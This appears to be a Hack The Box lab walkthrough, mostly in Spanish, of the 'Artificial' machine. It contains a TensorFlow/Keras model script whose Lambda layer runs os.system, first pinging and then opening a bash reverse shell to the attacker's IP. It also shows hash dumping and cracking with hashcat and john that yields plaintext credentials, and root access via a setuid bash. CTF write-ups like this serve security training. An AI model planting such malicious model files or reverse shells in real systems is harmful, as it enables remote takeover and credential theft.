Artificial - Hack The Box
Reconnaissance
- Nmap
❯ nmap -sS --open -p- --min-rate 5000 -n -Pn 10.10.11.74
Starting Nmap 7.95 ( https://nmap.org ) at 2025-06-23 18:01 CEST
Nmap scan report for 10.10.11.74
Host is up (0.077s latency).
Not shown: 65533 closed tcp ports (reset)
PORT STATE SERVICE
22/tcp open ssh
80/tcp open http
Nmap done: 1 IP address (1 host up) scanned in 10.43 seconds
- Vulnerability and version scan
❯ nmap -sCV -p22,80 10.10.11.74
Starting Nmap 7.95 ( https://nmap.org ) at 2025-06-23 18:01 CEST
Nmap scan report for 10.10.11.74
Host is up (0.041s latency).
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 8.2p1 Ubuntu 4ubuntu0.13 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 3072 7c:e4:8d:84:c5:de:91:3a:5a:2b:9d:34:ed:d6:99:17 (RSA)
| 256 83:46:2d:cf:73:6d:28:6f:11:d5:1d:b4:88:20:d6:7c (ECDSA)
|_ 256 e3:18:2e:3b:40:61:b4:59:87:e8:4a:29:24:0f:6a:fc (ED25519)
80/tcp open http nginx 1.18.0 (Ubuntu)
|_http-title: Did not follow redirect to http://artificial.htb/
|_http-server-header: nginx/1.18.0 (Ubuntu)
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 9.62 seconds
- Add domain to /etc/hosts
echo "10.10.11.74 artificial.htb" >> /etc/hosts
Exploitation
- Remote Code Execution in Tensorflow
import numpy as np
import pandas as pd
import tensorflow as tf
from tensorflow import keras
from tensorflow.keras import layers
np.random.seed(42)
# Create hourly data for a week
hours = np.arange(0, 24 * 7)
profits = np.random.rand(len(hours)) * 100
# Create a DataFrame
data = pd.DataFrame({
'hour': hours,
'profit': profits
})
X = data['hour'].values.reshape(-1, 1)
y = data['profit'].values
def exploit(x):
import os
os.system("ping -c1 10.10.14.4")
return x
# Build the model
model = keras.Sequential([
layers.Dense(64, activation='relu', input_shape=(1,)),
layers.Dense(64, activation='relu'),
layers.Dense(1)
])
model.add(tf.keras.layers.Lambda(exploit))
# Compile the model
model.compile(optimizer='adam', loss='mean_squared_error')
# Train the model
model.fit(X, y, epochs=100, verbose=1)
# Save the model
model.save('profits_model.h5')
python3 test.py
Primero creamos el modelo añadiendo una función lambda con código malicioso.
❯ tcpdump -i tun0 icmp
tcpdump: verbose output suppressed, use -v[v]... for full protocol decode
listening on tun0, link-type RAW (Raw IP), snapshot length 262144 bytes
11:58:43.108238 IP artificial.htb > 10.10.14.4: ICMP echo request, id 3, seq 1, length 64
11:58:43.108300 IP 10.10.14.4 > artificial.htb: ICMP echo reply, id 3, seq 1, length 64
11:58:43.243388 IP artificial.htb > 10.10.14.4: ICMP echo request, id 4, seq 1, length 64
11:58:43.243423 IP 10.10.14.4 > artificial.htb: ICMP echo reply, id 4, seq 1, length 64
- Reverse Shell
import numpy as np
import pandas as pd
import tensorflow as tf
from tensorflow import keras
from tensorflow.keras import layers
np.random.seed(42)
# Create hourly data for a week
hours = np.arange(0, 24 * 7)
profits = np.random.rand(len(hours)) * 100
# Create a DataFrame
data = pd.DataFrame({
'hour': hours,
'profit': profits
})
X = data['hour'].values.reshape(-1, 1)
y = data['profit'].values
def exploit(x):
import os
os.system("bash -c 'bash -i >& /dev/tcp/10.10.14.4/9000 0>&1'")
return x
# Build the model
model = keras.Sequential([
layers.Dense(64, activation='relu', input_shape=(1,)),
layers.Dense(64, activation='relu'),
layers.Dense(1)
])
model.add(tf.keras.layers.Lambda(exploit))
# Compile the model
model.compile(optimizer='adam', loss='mean_squared_error')
# Train the model
model.fit(X, y, epochs=100, verbose=1)
# Save the model
model.save('profits_model.h5')
python3 test.py
❯ nc -nlvp 9000
listening on [any] 9000 ...
connect to [10.10.14.4] from (UNKNOWN) [10.10.11.74] 47614
bash: cannot set terminal process group (801): Inappropriate ioctl for device
bash: no job control in this shell
app@artificial:~/app$
Post-exploitation
- Crack sqlite3 passwords
app@artificial:~/app$ sqlite3 instance/users.db 'select password from user;'
c99175974b6e192936d97224638a34f8
0f3d8c76530022670f1c6029eed09ccb
b606c5f5136170f15444251665638b36
bc25b1f80f544c0ab451c02a3dca9fc6
bf041041e57f1aff3be7ea1abd6129d0
6817551a575da54cc64b3733a644d54f
903a98d709fa4683aaaa036b84c125a6
455523d86a8a1ab7c7d33208fe0219e7
d41d8cd98f00b204e9800998ecf8427e
63a9f0ea7bb98050796b649e85481845
21232f297a57a5a743894a0e4a801fc3
098f6bcd4621d373cade4e832627b4f6
084e0343a0486ff05530df6c705c8bb4
caf9b6b99962bf5c2264824231d7a40c
b09c600fddc573f117449b3723f23d64
81c3b080dad537de7e10e0987a4bf52e
ee11cbb19052e40b07aac0ca060c23ee
200ceb26807d6bf99fd6f4f0d1ca54d4
a189c633d9995e11bf8607170ec9a4b8
ff104b2dfab9fe8c0676587292a636d3
72ab8af56bddab33b269c5964b26620a
768747907b90c39ab6f16fcb3320897a
640c8a5376aa12fa15cf02130ce239a6
23b0749d7d3a9ee3c0b024a86fe3e1c2
63623900c8bbf21c706c45dcb7a2c083
5ff4fe5cb694d92583d391dd8529066d
1d7c2923c1684726dc23d2901c4d8157
5f4dcc3b5aa765d61d8327deb882cf99
5f4dcc3b5aa765d61d8327deb882cf99
202cb962ac59075b964b07152d234b70
b911af807c2df88d671bd7004c54c1c2
6b8b7f464edd8fb2b4d394dd2fbad052
04217c4d7e246e38b0d7014ee109755b
❯ hashcat -a 0 -m 0 hash /usr/share/wordlists/rockyou.txt
hashcat (v6.2.6) starting
OpenCL API (OpenCL 3.0 PoCL 6.0+debian Linux, None+Asserts, RELOC, SPIR-V, LLVM 18.1.8, SLEEF, DISTRO, POCL_DEBUG) - Platform #1 [The pocl project]
====================================================================================================================================================
* Device #1: cpu-haswell-AMD Ryzen 5 5600X 6-Core Processor, 6924/13913 MB (2048 MB allocatable), 6MCU
Minimum password length supported by kernel: 0
Maximum password length supported by kernel: 256
Hashes: 33 digests; 32 unique digests, 1 unique salts
Bitmaps: 16 bits, 65536 entries, 0x0000ffff mask, 262144 bytes, 5/13 rotates
Rules: 1
Optimizers applied:
* Zero-Byte
* Early-Skip
* Not-Salted
* Not-Iterated
* Single-Salt
* Raw-Hash
ATTENTION! Pure (unoptimized) backend kernels selected.
Pure kernels can crack longer passwords, but drastically reduce performance.
If you want to switch to optimized kernels, append -O to your commandline.
See the above message to find out about the exact limits.
Watchdog: Temperature abort trigger set to 90c
INFO: Removed 20 hashes found as potfile entries.
Host memory required for this attack: 1 MB
Dictionary cache hit:
* Filename..: /usr/share/wordlists/rockyou.txt
* Passwords.: 14344385
* Bytes.....: 139921507
* Keyspace..: 14344385
5f4dcc3b5aa765d61d8327deb882cf99:password
d41d8cd98f00b204e9800998ecf8427e:
200ceb26807d6bf99fd6f4f0d1ca54d4:administrator
c99175974b6e192936d97224638a34f8:mattp005numbertwo
bc25b1f80f544c0ab451c02a3dca9fc6:marwinnarak043414036
Approaching final keyspace - workload adjusted.
Session..........: hashcat
Status...........: Exhausted
Hash.Mode........: 0 (MD5)
Hash.Target......: hash
Time.Started.....: Thu Jun 26 12:14:51 2025 (3 secs)
Time.Estimated...: Thu Jun 26 12:14:54 2025 (0 secs)
Kernel.Feature...: Pure Kernel
Guess.Base.......: File (/usr/share/wordlists/rockyou.txt)
Guess.Queue......: 1/1 (100.00%)
Speed.#1.........: 5216.1 kH/s (0.21ms) @ Accel:1024 Loops:1 Thr:1 Vec:8
Recovered........: 25/32 (78.12%) Digests (total), 5/32 (15.62%) Digests (new)
Progress.........: 14344385/14344385 (100.00%)
Rejected.........: 0/14344385 (0.00%)
Restore.Point....: 14344385/14344385 (100.00%)
Restore.Sub.#1...: Salt:0 Amplifier:0-1 Iteration:0-1
Candidate.Engine.: Device Generator
Candidates.#1....: $HEX[216361726f6c796e] -> $HEX[042a0337c2a156616d6f732103]
Hardware.Mon.#1..: Util: 40%
Started: Thu Jun 26 12:14:51 2025
Stopped: Thu Jun 26 12:14:55 2025
Credenciales encontradas: password, administrator, mattp005numbertwo, marwinnarak043414036.
- Pivoting
app@artificial:~/app$ su gael
Password:
gael@artificial:/home/app/app$
Credenciales: gael:mattp005numbertwo
- Check user groups
gael@artificial:/tmp$ id
uid=1000(gael) gid=1000(gael) groups=1000(gael),1007(sysadm)
gael@artificial:/tmp$ find / -group sysadm 2>/dev/null
/var/backups/backrest_backup.tar.gz
- Get leaked credentials
❯ 7z l backrest_backup.tar.gz
7-Zip 24.09 (x64) : Copyright (c) 1999-2024 Igor Pavlov : 2024-11-29
64-bit locale=C.UTF-8 Threads:128 OPEN_MAX:1024, ASM
Scanning the drive for archives:
1 file, 52357120 bytes (50 MiB)
Listing archive: private.gz
--
Path = private.gz
Open WARNING: Cannot open the file as [gzip] archive
Type = tar
Physical Size = 52357120
Headers Size = 10752
Code Page = UTF-8
Characteristics = GNU ASCII
Date Time Attr Size Compressed Name
------------------- ----- ------------ ------------ ------------------------
2025-03-05 00:17:53 D.... 0 0 backrest
2025-03-03 06:28:26 ..... 26501272 26501632 backrest/restic
2025-03-05 00:17:53 ..... 0 0 backrest/oplog.sqlite-wal
2025-03-05 00:17:53 ..... 32768 32768 backrest/oplog.sqlite-shm
2025-03-03 23:27:17 D.... 0 0 backrest/.config
2025-03-05 00:17:42 D.... 0 0 backrest/.config/backrest
2025-03-05 00:17:42 ..... 280 512 backrest/.config/backrest/config.json
2025-03-03 23:18:52 ..... 0 0 backrest/oplog.sqlite.lock
2025-02-16 21:38:14 ..... 25690264 25690624 backrest/backrest
2025-03-05 00:17:53 D.... 0 0 backrest/tasklogs
2025-03-05 00:17:53 ..... 32768 32768 backrest/tasklogs/logs.sqlite-shm
2025-03-03 23:18:52 D.... 0 0 backrest/tasklogs/.inprogress
2025-03-05 00:17:53 ..... 0 0 backrest/tasklogs/logs.sqlite-wal
2025-03-05 00:13:00 ..... 24576 24576 backrest/tasklogs/logs.sqlite
2025-03-05 00:13:00 ..... 57344 57344 backrest/oplog.sqlite
2025-03-03 23:18:53 ..... 64 512 backrest/jwt-secret
2025-03-03 23:18:52 D.... 0 0 backrest/processlogs
2025-03-05 00:17:54 ..... 2122 2560 backrest/processlogs/backrest.log
2025-03-03 06:28:57 ..... 3025 3072 backrest/install.sh
------------------- ----- ------------ ------------ ------------------------
2025-03-05 00:17:54 52344483 52346368 13 files, 6 folders
Warnings: 1
❯ cat backrest/.config/backrest/config.json
{
"modno": 2,
"version": 4,
"instance": "Artificial",
"auth": {
"disabled": false,
"users": [
{
"name": "backrest_root",
"passwordBcrypt": "JDJhJDEwJGNWR0l5OVZNWFFkMGdNNWdpbkNtamVpMmtaUi9BQ01Na1Nzc3BiUnV0WVA1OEVCWnovMFFP"
}
]
}
}
Encontramos unas credenciales para el usuario backrest_root, probablemente haya un servicio corriendo internamente. Antes de nada tenemos que crackear la contraseña.
❯ echo "JDJhJDEwJGNWR0l5OVZNWFFkMGdNNWdpbkNtamVpMmtaUi9BQ01Na1Nzc3BiUnV0WVA1OEVCWnovMFFP" | base64 -d > hash
❯ john --wordlist=/usr/share/wordlists/rockyou.txt hash
Using default input encoding: UTF-8
Loaded 1 password hash (bcrypt [Blowfish 32/64 X3])
Cost 1 (iteration count) is 1024 for all loaded hashes
Will run 6 OpenMP threads
Press 'q' or Ctrl-C to abort, almost any other key for status
!@#$%^ (?)
1g 0:00:00:23 DONE (2025-06-27 11:38) 0.04240g/s 229.0p/s 229.0c/s 229.0C/s melani..huevos
Use the "--show" option to display all of the cracked passwords reliably
Session completed.
Contraseña encontrada: “!@#$%^”
- Check internal ports
gael@artificial:/tmp$ ss -nltp
State Recv-Q Send-Q Local Address:Port Peer Address:Port Process
LISTEN 0 2048 127.0.0.1:5000 0.0.0.0:*
LISTEN 0 4096 127.0.0.1:9898 0.0.0.0:*
LISTEN 0 511 0.0.0.0:80 0.0.0.0:*
LISTEN 0 4096 127.0.0.53%lo:53 0.0.0.0:*
LISTEN 0 128 0.0.0.0:22 0.0.0.0:*
LISTEN 0 511 [::]:80 [::]:*
LISTEN 0 128 [::]:22 [::]:*
Encontramos un posible servicio interno en el puerto 9898.
- Backrest 1.7.2 RCE (Privilege Escalation)
gael@artificial:/tmp$ ls -la /bin/bash
-rwsr-xr-x 1 root root 1183448 Apr 18 2022 /bin/bash
gael@artificial:/tmp$ bash -p
bash-5.0# cat /root/root.txt
c699b0fa329d9a56cdd85aa119a2bdee